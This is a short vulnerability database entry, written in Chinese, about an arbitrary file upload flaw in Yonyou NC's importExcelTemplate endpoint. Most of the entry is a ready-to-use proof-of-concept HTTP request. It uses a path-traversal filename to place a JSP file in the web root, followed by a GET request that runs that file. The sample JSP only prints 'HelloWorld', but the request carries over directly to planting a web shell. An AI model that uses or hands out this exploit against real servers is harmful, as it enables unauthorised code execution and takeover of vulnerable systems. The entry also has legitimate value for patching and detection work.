用友NC importExcelTemplate 任意文件上传

2025-08-15 用友NC PoC Public

Description

用友NC的importExcelTemplate模块存在任意文件上传漏洞。攻击者可通过构造恶意上传请求，绕过文件类型限制，将任意文件上传至服务器。

PoC

POST /portal/pt/infopathimport/importExcelTemplate?pageId=login HTTP/1.1
Host: 
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNAL3EsrdN90G1hgq

------WebKitFormBoundaryNAL3EsrdN90G1hgq
Content-Disposition: form-data; name="Filedata"; filename="./.\webapps\nc_web\2.jsp"
application/octet-stream

<% out.println("HelloWorld");%>
------WebKitFormBoundaryNAL3EsrdN90G1hgq--


GET /2.jsp HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://www.ddpoc.com/DVB-2025-9914.html

References

Related Vulnerabilities